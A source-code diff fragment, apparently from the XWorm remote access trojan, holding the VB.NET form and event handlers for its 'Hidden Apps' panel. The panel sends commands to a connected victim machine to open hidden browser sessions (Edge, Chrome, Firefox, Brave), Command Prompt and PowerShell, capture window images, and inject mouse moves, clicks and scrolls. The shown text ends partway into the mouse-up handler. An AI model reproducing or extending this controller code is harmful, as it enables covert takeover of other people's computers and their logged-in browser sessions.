Guna2ToggleSwitch2.CheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2ToggleSwitch2.CheckedState.InnerBorderColor = System.Drawing.Color.White
|
||||
Guna2ToggleSwitch2.CheckedState.InnerColor = System.Drawing.Color.White
|
||||
Guna2ToggleSwitch2.Location = New System.Drawing.Point(17, 8)
|
||||
Guna2ToggleSwitch2.Name = "Guna2ToggleSwitch2"
|
||||
Guna2ToggleSwitch2.Size = New System.Drawing.Size(35, 20)
|
||||
Guna2ToggleSwitch2.TabIndex = 80
|
||||
Guna2ToggleSwitch2.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Guna2ToggleSwitch2.UncheckedState.FillColor = System.Drawing.Color.FromArgb(CType(CType(136, Byte), Integer), CType(CType(200, Byte), Integer), CType(CType(236, Byte), Integer))
|
||||
Guna2ToggleSwitch2.UncheckedState.InnerBorderColor = System.Drawing.Color.White
|
||||
Guna2ToggleSwitch2.UncheckedState.InnerColor = System.Drawing.Color.White
|
||||
'
|
||||
'Guna2Panel1
|
||||
'
|
||||
Guna2Panel1.Controls.Add(Guna2GradientButton1)
|
||||
Guna2Panel1.Dock = System.Windows.Forms.DockStyle.Top
|
||||
Guna2Panel1.Location = New System.Drawing.Point(69, 0)
|
||||
Guna2Panel1.Name = "Guna2Panel1"
|
||||
Guna2Panel1.Size = New System.Drawing.Size(491, 21)
|
||||
Guna2Panel1.TabIndex = 35
|
||||
'
|
||||
'Guna2GradientButton1
|
||||
'
|
||||
Guna2GradientButton1.DisabledState.BorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray
|
||||
Guna2GradientButton1.DisabledState.FillColor = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer), CType(CType(169, Byte), Integer))
|
||||
Guna2GradientButton1.DisabledState.ForeColor = System.Drawing.Color.FromArgb(CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer), CType(CType(141, Byte), Integer))
|
||||
Guna2GradientButton1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
Guna2GradientButton1.FillColor2 = System.Drawing.Color.FromArgb(CType(CType(40, Byte), Integer), CType(CType(192, Byte), Integer), CType(CType(182, Byte), Integer))
|
||||
Guna2GradientButton1.Font = New System.Drawing.Font("Segoe UI", 9.0!)
|
||||
Guna2GradientButton1.ForeColor = System.Drawing.Color.White
|
||||
Guna2GradientButton1.Image = Global.XWorm.My.Resources.Resources._Stop
|
||||
Guna2GradientButton1.ImageAlign = System.Windows.Forms.HorizontalAlignment.Left
|
||||
Guna2GradientButton1.ImageSize = New System.Drawing.Size(15, 15)
|
||||
Guna2GradientButton1.Location = New System.Drawing.Point(0, 0)
|
||||
Guna2GradientButton1.Name = "Guna2GradientButton1"
|
||||
Guna2GradientButton1.Size = New System.Drawing.Size(491, 21)
|
||||
Guna2GradientButton1.TabIndex = 34
|
||||
Guna2GradientButton1.Text = "OFF"
|
||||
'
|
||||
'Guna2Panel3
|
||||
'
|
||||
Guna2Panel3.Dock = System.Windows.Forms.DockStyle.Left
|
||||
Guna2Panel3.Location = New System.Drawing.Point(0, 0)
|
||||
Guna2Panel3.Name = "Guna2Panel3"
|
||||
Guna2Panel3.Size = New System.Drawing.Size(69, 59)
|
||||
Guna2Panel3.TabIndex = 37
|
||||
'
|
||||
'Guna2Panel2
|
||||
'
|
||||
Guna2Panel2.Dock = System.Windows.Forms.DockStyle.Right
|
||||
Guna2Panel2.Location = New System.Drawing.Point(560, 0)
|
||||
Guna2Panel2.Name = "Guna2Panel2"
|
||||
Guna2Panel2.Size = New System.Drawing.Size(69, 59)
|
||||
Guna2Panel2.TabIndex = 36
|
||||
'
|
||||
'ListView1
|
||||
'
|
||||
ListView1.BackColor = System.Drawing.Color.White
|
||||
ListView1.BorderStyle = System.Windows.Forms.BorderStyle.None
|
||||
ListView1.Columns.AddRange(New System.Windows.Forms.ColumnHeader() {ColumnHeader3, ColumnHeader4})
|
||||
ListView1.ContextMenuStrip = Guna2ContextMenuStrip1
|
||||
ListView1.Dock = System.Windows.Forms.DockStyle.Right
|
||||
ListView1.Font = New System.Drawing.Font("Tahoma", 8.0!)
|
||||
ListView1.ForeColor = System.Drawing.Color.Black
|
||||
ListView1.FullRowSelect = True
|
||||
ListView1.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable
|
||||
ListView1.HideSelection = False
|
||||
ListView1.Location = New System.Drawing.Point(448, 59)
|
||||
ListView1.Name = "ListView1"
|
||||
ListView1.ShowGroups = False
|
||||
ListView1.ShowItemToolTips = True
|
||||
ListView1.Size = New System.Drawing.Size(181, 340)
|
||||
ListView1.SmallImageList = ImageList1
|
||||
ListView1.Sorting = System.Windows.Forms.SortOrder.Ascending
|
||||
ListView1.TabIndex = 32
|
||||
ListView1.UseCompatibleStateImageBehavior = False
|
||||
ListView1.View = System.Windows.Forms.View.Details
|
||||
'
|
||||
'ColumnHeader3
|
||||
'
|
||||
ColumnHeader3.Text = "[ App ]"
|
||||
ColumnHeader3.Width = 85
|
||||
'
|
||||
'ColumnHeader4
|
||||
'
|
||||
ColumnHeader4.Text = "[ PID ]"
|
||||
'
|
||||
'Guna2ContextMenuStrip1
|
||||
'
|
||||
Guna2ContextMenuStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {GetScreenToolStripMenuItem, RefreshToolStripMenuItem, BrowserToolStripMenuItem, ApplactionsToolStripMenuItem, WindowToolStripMenuItem})
|
||||
Guna2ContextMenuStrip1.Name = "Guna2ContextMenuStrip2"
|
||||
Guna2ContextMenuStrip1.RenderStyle.ArrowColor = System.Drawing.Color.FromArgb(CType(CType(151, Byte), Integer), CType(CType(143, Byte), Integer), CType(CType(255, Byte), Integer))
|
||||
Guna2ContextMenuStrip1.RenderStyle.BorderColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip1.RenderStyle.ColorTable = Nothing
|
||||
Guna2ContextMenuStrip1.RenderStyle.RoundedEdges = True
|
||||
Guna2ContextMenuStrip1.RenderStyle.SelectionArrowColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip1.RenderStyle.SelectionBackColor = System.Drawing.Color.FromArgb(CType(CType(113, Byte), Integer), CType(CType(74, Byte), Integer), CType(CType(250, Byte), Integer))
|
||||
Guna2ContextMenuStrip1.RenderStyle.SelectionForeColor = System.Drawing.Color.White
|
||||
Guna2ContextMenuStrip1.RenderStyle.SeparatorColor = System.Drawing.Color.Gainsboro
|
||||
Guna2ContextMenuStrip1.RenderStyle.TextRenderingHint = System.Drawing.Text.TextRenderingHint.ClearTypeGridFit
|
||||
Guna2ContextMenuStrip1.Size = New System.Drawing.Size(152, 114)
|
||||
'
|
||||
'GetScreenToolStripMenuItem
|
||||
'
|
||||
GetScreenToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
GetScreenToolStripMenuItem.Image = CType(resources.GetObject("GetScreenToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
GetScreenToolStripMenuItem.Name = "GetScreenToolStripMenuItem"
|
||||
GetScreenToolStripMenuItem.Size = New System.Drawing.Size(151, 22)
|
||||
GetScreenToolStripMenuItem.Text = "[ Get Image ]"
|
||||
'
|
||||
'RefreshToolStripMenuItem
|
||||
'
|
||||
RefreshToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
RefreshToolStripMenuItem.Image = CType(resources.GetObject("RefreshToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
RefreshToolStripMenuItem.Name = "RefreshToolStripMenuItem"
|
||||
RefreshToolStripMenuItem.Size = New System.Drawing.Size(151, 22)
|
||||
RefreshToolStripMenuItem.Text = "[ Refresh ]"
|
||||
'
|
||||
'BrowserToolStripMenuItem
|
||||
'
|
||||
BrowserToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
BrowserToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {MicrosoftEdgeToolStripMenuItem, ChromeToolStripMenuItem, FireFoxToolStripMenuItem, BraveToolStripMenuItem})
|
||||
BrowserToolStripMenuItem.Image = CType(resources.GetObject("BrowserToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
BrowserToolStripMenuItem.Name = "BrowserToolStripMenuItem"
|
||||
BrowserToolStripMenuItem.Size = New System.Drawing.Size(151, 22)
|
||||
BrowserToolStripMenuItem.Text = "[ Browser ]"
|
||||
'
|
||||
'MicrosoftEdgeToolStripMenuItem
|
||||
'
|
||||
MicrosoftEdgeToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
MicrosoftEdgeToolStripMenuItem.Image = CType(resources.GetObject("MicrosoftEdgeToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
MicrosoftEdgeToolStripMenuItem.Name = "MicrosoftEdgeToolStripMenuItem"
|
||||
MicrosoftEdgeToolStripMenuItem.Size = New System.Drawing.Size(131, 22)
|
||||
MicrosoftEdgeToolStripMenuItem.Text = "[ Edge ]"
|
||||
'
|
||||
'ChromeToolStripMenuItem
|
||||
'
|
||||
ChromeToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
ChromeToolStripMenuItem.Image = CType(resources.GetObject("ChromeToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
ChromeToolStripMenuItem.Name = "ChromeToolStripMenuItem"
|
||||
ChromeToolStripMenuItem.Size = New System.Drawing.Size(131, 22)
|
||||
ChromeToolStripMenuItem.Text = "[ Chrome ]"
|
||||
'
|
||||
'FireFoxToolStripMenuItem
|
||||
'
|
||||
FireFoxToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
FireFoxToolStripMenuItem.Image = CType(resources.GetObject("FireFoxToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
FireFoxToolStripMenuItem.Name = "FireFoxToolStripMenuItem"
|
||||
FireFoxToolStripMenuItem.Size = New System.Drawing.Size(131, 22)
|
||||
FireFoxToolStripMenuItem.Text = "[ FireFox ]"
|
||||
'
|
||||
'BraveToolStripMenuItem
|
||||
'
|
||||
BraveToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
BraveToolStripMenuItem.Image = CType(resources.GetObject("BraveToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
BraveToolStripMenuItem.Name = "BraveToolStripMenuItem"
|
||||
BraveToolStripMenuItem.Size = New System.Drawing.Size(131, 22)
|
||||
BraveToolStripMenuItem.Text = "[ Brave ]"
|
||||
'
|
||||
'ApplactionsToolStripMenuItem
|
||||
'
|
||||
ApplactionsToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
ApplactionsToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {CommandPromptToolStripMenuItem, PowerShellToolStripMenuItem, CustomOpenToolStripMenuItem})
|
||||
ApplactionsToolStripMenuItem.Image = CType(resources.GetObject("ApplactionsToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
ApplactionsToolStripMenuItem.Name = "ApplactionsToolStripMenuItem"
|
||||
ApplactionsToolStripMenuItem.Size = New System.Drawing.Size(151, 22)
|
||||
ApplactionsToolStripMenuItem.Text = "[ Applactions ]"
|
||||
'
|
||||
'CommandPromptToolStripMenuItem
|
||||
'
|
||||
CommandPromptToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
CommandPromptToolStripMenuItem.Image = CType(resources.GetObject("CommandPromptToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
CommandPromptToolStripMenuItem.Name = "CommandPromptToolStripMenuItem"
|
||||
CommandPromptToolStripMenuItem.Size = New System.Drawing.Size(188, 22)
|
||||
CommandPromptToolStripMenuItem.Text = "[ Command Prompt ]"
|
||||
'
|
||||
'PowerShellToolStripMenuItem
|
||||
'
|
||||
PowerShellToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
PowerShellToolStripMenuItem.Image = CType(resources.GetObject("PowerShellToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
PowerShellToolStripMenuItem.Name = "PowerShellToolStripMenuItem"
|
||||
PowerShellToolStripMenuItem.Size = New System.Drawing.Size(188, 22)
|
||||
PowerShellToolStripMenuItem.Text = "[ PowerShell ]"
|
||||
'
|
||||
'CustomOpenToolStripMenuItem
|
||||
'
|
||||
CustomOpenToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
CustomOpenToolStripMenuItem.Image = CType(resources.GetObject("CustomOpenToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
CustomOpenToolStripMenuItem.Name = "CustomOpenToolStripMenuItem"
|
||||
CustomOpenToolStripMenuItem.Size = New System.Drawing.Size(188, 22)
|
||||
CustomOpenToolStripMenuItem.Text = "[ Custom Open ]"
|
||||
'
|
||||
'WindowToolStripMenuItem
|
||||
'
|
||||
WindowToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
WindowToolStripMenuItem.DropDownItems.AddRange(New System.Windows.Forms.ToolStripItem() {RestoreToolStripMenuItem, RestartToolStripMenuItem, CloseToolStripMenuItem})
|
||||
WindowToolStripMenuItem.Image = CType(resources.GetObject("WindowToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
WindowToolStripMenuItem.Name = "WindowToolStripMenuItem"
|
||||
WindowToolStripMenuItem.Size = New System.Drawing.Size(151, 22)
|
||||
WindowToolStripMenuItem.Text = "[ Window ]"
|
||||
'
|
||||
'RestoreToolStripMenuItem
|
||||
'
|
||||
RestoreToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
RestoreToolStripMenuItem.Image = CType(resources.GetObject("RestoreToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
RestoreToolStripMenuItem.Name = "RestoreToolStripMenuItem"
|
||||
RestoreToolStripMenuItem.Size = New System.Drawing.Size(127, 22)
|
||||
RestoreToolStripMenuItem.Text = "[ Restore ]"
|
||||
'
|
||||
'RestartToolStripMenuItem
|
||||
'
|
||||
RestartToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
RestartToolStripMenuItem.Image = CType(resources.GetObject("RestartToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
RestartToolStripMenuItem.Name = "RestartToolStripMenuItem"
|
||||
RestartToolStripMenuItem.Size = New System.Drawing.Size(127, 22)
|
||||
RestartToolStripMenuItem.Text = "[ Restart ]"
|
||||
'
|
||||
'CloseToolStripMenuItem
|
||||
'
|
||||
CloseToolStripMenuItem.BackColor = System.Drawing.Color.White
|
||||
CloseToolStripMenuItem.Image = CType(resources.GetObject("CloseToolStripMenuItem.Image"), System.Drawing.Image)
|
||||
CloseToolStripMenuItem.Name = "CloseToolStripMenuItem"
|
||||
CloseToolStripMenuItem.Size = New System.Drawing.Size(127, 22)
|
||||
CloseToolStripMenuItem.Text = "[ Close ]"
|
||||
'
|
||||
'ImageList1
|
||||
'
|
||||
ImageList1.ColorDepth = System.Windows.Forms.ColorDepth.Depth32Bit
|
||||
ImageList1.ImageSize = New System.Drawing.Size(20, 20)
|
||||
ImageList1.TransparentColor = System.Drawing.Color.Transparent
|
||||
'
|
||||
'PictureBox1
|
||||
'
|
||||
PictureBox1.Dock = System.Windows.Forms.DockStyle.Fill
|
||||
PictureBox1.Location = New System.Drawing.Point(0, 59)
|
||||
PictureBox1.Name = "PictureBox1"
|
||||
PictureBox1.Size = New System.Drawing.Size(448, 340)
|
||||
PictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage
|
||||
PictureBox1.TabIndex = 33
|
||||
PictureBox1.TabStop = False
|
||||
'
|
||||
'StatusStrip1
|
||||
'
|
||||
StatusStrip1.BackColor = System.Drawing.Color.White
|
||||
StatusStrip1.ImageScalingSize = New System.Drawing.Size(24, 24)
|
||||
StatusStrip1.Items.AddRange(New System.Windows.Forms.ToolStripItem() {ToolStripStatusLabel1, ToolStripStatusLabel2})
|
||||
StatusStrip1.Location = New System.Drawing.Point(0, 399)
|
||||
StatusStrip1.Name = "StatusStrip1"
|
||||
StatusStrip1.Padding = New System.Windows.Forms.Padding(1, 0, 9, 0)
|
||||
StatusStrip1.Size = New System.Drawing.Size(629, 22)
|
||||
StatusStrip1.TabIndex = 34
|
||||
StatusStrip1.Text = "StatusStrip1"
|
||||
'
|
||||
'ToolStripStatusLabel1
|
||||
'
|
||||
ToolStripStatusLabel1.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel1.Name = "ToolStripStatusLabel1"
|
||||
ToolStripStatusLabel1.Size = New System.Drawing.Size(51, 17)
|
||||
ToolStripStatusLabel1.Text = "Apps [0]"
|
||||
'
|
||||
'ToolStripStatusLabel2
|
||||
'
|
||||
ToolStripStatusLabel2.ForeColor = System.Drawing.Color.Black
|
||||
ToolStripStatusLabel2.Name = "ToolStripStatusLabel2"
|
||||
ToolStripStatusLabel2.Size = New System.Drawing.Size(13, 17)
|
||||
ToolStripStatusLabel2.Text = ".."
|
||||
'
|
||||
'Timer1
|
||||
'
|
||||
Timer1.Enabled = True
|
||||
Timer1.Interval = 1000
|
||||
'
|
||||
'HApps
|
||||
'
|
||||
AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!)
|
||||
AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font
|
||||
BackColor = System.Drawing.Color.White
|
||||
ClientSize = New System.Drawing.Size(629, 421)
|
||||
Controls.Add(PictureBox1)
|
||||
Controls.Add(ListView1)
|
||||
Controls.Add(Panel2)
|
||||
Controls.Add(StatusStrip1)
|
||||
Icon = CType(resources.GetObject("$this.Icon"), System.Drawing.Icon)
|
||||
MinimumSize = New System.Drawing.Size(645, 460)
|
||||
Name = "HApps"
|
||||
Text = "Hidden Apps"
|
||||
Panel2.ResumeLayout(False)
|
||||
Panel2.PerformLayout()
|
||||
Panel1.ResumeLayout(False)
|
||||
Panel1.PerformLayout()
|
||||
Guna2Panel1.ResumeLayout(False)
|
||||
Guna2ContextMenuStrip1.ResumeLayout(False)
|
||||
CType(PictureBox1, System.ComponentModel.ISupportInitialize).EndInit()
|
||||
StatusStrip1.ResumeLayout(False)
|
||||
StatusStrip1.PerformLayout()
|
||||
ResumeLayout(False)
|
||||
PerformLayout()
|
||||
|
||||
End Sub
|
||||
|
||||
Friend WithEvents Panel2 As Panel
|
||||
Friend WithEvents Guna2Panel1 As Guna.UI2.WinForms.Guna2Panel
|
||||
Friend WithEvents Guna2GradientButton1 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
Friend WithEvents Guna2ComboBox1 As Guna.UI2.WinForms.Guna2ComboBox
|
||||
Friend WithEvents Guna2Panel3 As Guna.UI2.WinForms.Guna2Panel
|
||||
Friend WithEvents Guna2Panel2 As Guna.UI2.WinForms.Guna2Panel
|
||||
Friend WithEvents Label2 As Label
|
||||
Friend WithEvents ListView1 As ListView
|
||||
Friend WithEvents ColumnHeader3 As ColumnHeader
|
||||
Friend WithEvents ColumnHeader4 As ColumnHeader
|
||||
Friend WithEvents PictureBox1 As PictureBox
|
||||
Friend WithEvents Label15 As Label
|
||||
Friend WithEvents Guna2ToggleSwitch2 As Guna.UI2.WinForms.Guna2ToggleSwitch
|
||||
Friend WithEvents Panel1 As Panel
|
||||
Friend WithEvents StatusStrip1 As StatusStrip
|
||||
Friend WithEvents ToolStripStatusLabel1 As ToolStripStatusLabel
|
||||
Friend WithEvents Guna2ContextMenuStrip1 As Guna.UI2.WinForms.Guna2ContextMenuStrip
|
||||
Friend WithEvents GetScreenToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents RefreshToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents BrowserToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents MicrosoftEdgeToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents ApplactionsToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents CommandPromptToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents PowerShellToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents CustomOpenToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents WindowToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents RestoreToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents RestartToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents CloseToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents ChromeToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents FireFoxToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents BraveToolStripMenuItem As ToolStripMenuItem
|
||||
Friend WithEvents ToolStripStatusLabel2 As ToolStripStatusLabel
|
||||
Friend WithEvents ImageList1 As ImageList
|
||||
Friend WithEvents Timer1 As Timer
|
||||
Friend WithEvents Guna2GradientButton5 As Guna.UI2.WinForms.Guna2GradientButton
|
||||
End Class
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,229 @@
|
||||
Imports System.Text
|
||||
Imports System.Threading
|
||||
Public Class HApps
|
||||
|
||||
Public C As Client
|
||||
|
||||
Public FPS As Integer = 0
|
||||
Public sw As Stopwatch = Stopwatch.StartNew()
|
||||
|
||||
Public rdSize As New Size()
|
||||
Private Sub MicrosoftEdgeToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles MicrosoftEdgeToolStripMenuItem.Click
|
||||
Dim B As Byte() = SB("OpenEdgeBrowser")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub HApps_Load(sender As Object, e As EventArgs) Handles MyBase.Load
|
||||
AddHandler MyBase.MouseWheel, AddressOf MyMouseWheel
|
||||
Guna2ComboBox1.SelectedIndex = 3
|
||||
|
||||
Guna2GradientButton1.PerformClick()
|
||||
End Sub
|
||||
Private Sub MyMouseWheel(ByVal sender As Object, ByVal e As MouseEventArgs)
|
||||
If Guna2GradientButton1.Text = "Capturing..." AndAlso PictureBox1.Image IsNot Nothing AndAlso PictureBox1.ContainsFocus Then
|
||||
Dim point As Point = New Point(e.X * rdSize.Width / PictureBox1.Width, e.Y * rdSize.Height / PictureBox1.Height)
|
||||
|
||||
If e.Delta < 0 Then
|
||||
Dim B As Byte() = SB("ScrollDown" & SettingsHelper.SPL & point.X.ToString() & SettingsHelper.SPL & point.Y.ToString())
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Else
|
||||
Dim B As Byte() = SB("ScrollUp" & SettingsHelper.SPL & point.X.ToString() & SettingsHelper.SPL & point.Y.ToString())
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
|
||||
Try
|
||||
If Not C.IsConnected Then
|
||||
Close()
|
||||
End If
|
||||
Catch ex As Exception
|
||||
Debug.WriteLine(ex.Message)
|
||||
End Try
|
||||
End Sub
|
||||
|
||||
Private Sub Guna2GradientButton1_Click(sender As Object, e As EventArgs) Handles Guna2GradientButton1.Click
|
||||
If Guna2GradientButton1.Text = "OFF" Then
|
||||
Guna2GradientButton1.Text = "Capturing..."
|
||||
Guna2GradientButton1.Image = My.Resources._Stop
|
||||
|
||||
Dim B As Byte() = SB("HApps+" & SettingsHelper.SPL & Guna2ComboBox1.Text.Replace("%", "").ToString)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
|
||||
Else
|
||||
Guna2GradientButton1.Text = "OFF"
|
||||
Guna2GradientButton1.Image = My.Resources.Play
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub GetScreenToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles GetScreenToolStripMenuItem.Click
|
||||
If ListView1.SelectedItems.Count > 0 Then
|
||||
Dim B As Byte() = SB("GetHWND" & SettingsHelper.SPL & ListView1.SelectedItems(0).SubItems(0).Text & SettingsHelper.SPL & ListView1.SelectedItems(0).ImageKey.ToString & SettingsHelper.SPL & PictureBox1.Width.ToString & SettingsHelper.SPL & PictureBox1.Height.ToString)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub RefreshToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles RefreshToolStripMenuItem.Click
|
||||
Dim B As Byte() = SB("Refresh")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub ChromeToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles ChromeToolStripMenuItem.Click
|
||||
Dim B As Byte() = SB("OpenChromeBrowser")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub FireFoxToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles FireFoxToolStripMenuItem.Click
|
||||
Dim B As Byte() = SB("OpenFireFoxBrowser")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub BraveToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles BraveToolStripMenuItem.Click
|
||||
Dim B As Byte() = SB("OpenBraveBrowser")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub CommandPromptToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CommandPromptToolStripMenuItem.Click
|
||||
Dim B As Byte() = SB("OpenCommandPrompt")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub PowerShellToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles PowerShellToolStripMenuItem.Click
|
||||
Dim B As Byte() = SB("OpenPowerShell")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End Sub
|
||||
|
||||
Private Sub RestoreToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles RestoreToolStripMenuItem.Click
|
||||
If ListView1.SelectedItems.Count > 0 Then
|
||||
Dim B As Byte() = SB("Restore")
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub RestartToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles RestartToolStripMenuItem.Click
|
||||
If ListView1.SelectedItems.Count > 0 Then
|
||||
For Each LV As ListViewItem In ListView1.SelectedItems
|
||||
Dim B As Byte() = SB("Restart" & SettingsHelper.SPL & LV.ToolTipText & SettingsHelper.SPL & LV.SubItems(1).Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Next
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub CloseToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles CloseToolStripMenuItem.Click
|
||||
If ListView1.SelectedItems.Count > 0 Then
|
||||
For Each LV As ListViewItem In ListView1.SelectedItems
|
||||
Dim B As Byte() = SB("Close" & SettingsHelper.SPL & LV.SubItems(1).Text)
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
Next
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_MouseDown(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseDown
|
||||
|
||||
If Guna2GradientButton1.Text = "Capturing..." AndAlso PictureBox1.Image IsNot Nothing AndAlso PictureBox1.ContainsFocus Then
|
||||
Dim point As Point = New Point(e.X * rdSize.Width / PictureBox1.Width, e.Y * rdSize.Height / PictureBox1.Height)
|
||||
|
||||
If e.Button = MouseButtons.Left Then
|
||||
Dim B As Byte() = SB("LeftDown" & SettingsHelper.SPL & point.X.ToString() & SettingsHelper.SPL & point.Y.ToString())
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
|
||||
If e.Button = MouseButtons.Right Then
|
||||
Dim B As Byte() = SB("RightDown" & SettingsHelper.SPL & point.X.ToString() & SettingsHelper.SPL & point.Y.ToString())
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend), B)
|
||||
End If
|
||||
End If
|
||||
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_MouseMove(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseMove
|
||||
If Guna2GradientButton1.Text = "Capturing..." AndAlso PictureBox1.Image IsNot Nothing AndAlso PictureBox1.ContainsFocus Then
|
||||
Dim point As Point = New Point(e.X * rdSize.Width / PictureBox1.Width, e.Y * rdSize.Height / PictureBox1.Height)
|
||||
|
||||
Dim B As Byte() = SB("MoveCursor" & SettingsHelper.SPL & point.X.ToString() & SettingsHelper.SPL & point.Y.ToString())
|
||||
ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf C.BeginSend),B)
|
||||
|
||||
End If
|
||||
End Sub
|
||||
|
||||
Private Sub PictureBox1_MouseUp(sender As Object, e As MouseEventArgs) Handles PictureBox1.MouseUp
|
||||
